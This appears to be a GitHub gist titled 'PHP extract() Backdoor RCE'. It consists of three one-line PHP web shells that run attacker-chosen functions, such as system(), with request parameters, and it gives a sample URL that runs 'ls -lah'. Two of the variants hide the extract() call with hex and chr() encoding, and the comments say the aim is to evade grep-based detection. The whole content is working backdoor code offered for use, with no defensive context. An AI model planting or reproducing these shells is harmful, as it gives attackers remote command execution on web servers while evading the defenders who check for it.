Skip to content

Instantly share code, notes, and snippets.

@vinhjaxt

vinhjaxt/backup.php

Forked from leonjza/backup.php
Created October 9, 2017 12:07
Show Gist options
  • Save vinhjaxt/f4496450b7b9f06a66f9697295071e1c to your computer and use it in GitHub Desktop.
Save vinhjaxt/f4496450b7b9f06a66f9697295071e1c to your computer and use it in GitHub Desktop.
Download ZIP
PHP extract() Backdoor RCE | Sample usage: foo.bar/backup.php?ctime=system&atime=ls -lah
Raw
backup.php
<?php extract($_REQUEST); @die($ctime($atime));
Raw
backup_.php
<?php $debug = pack("H*", "65787472616374"); $debug($_REQUEST); @die($ctime($atime));
// Slightly Obfuscated to evade some greps for extract() method
Raw
backup__.php
<?php $debug = "ch". "r"; $debug = implode(array_map($debug, explode(":","112:97:99:107"))); $debug = $debug("H*", "65787472616374"); $debug($_REQUEST); @die($ctime($atime));
// Even more obfustication to avoid using any 'suspect' functions directly
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment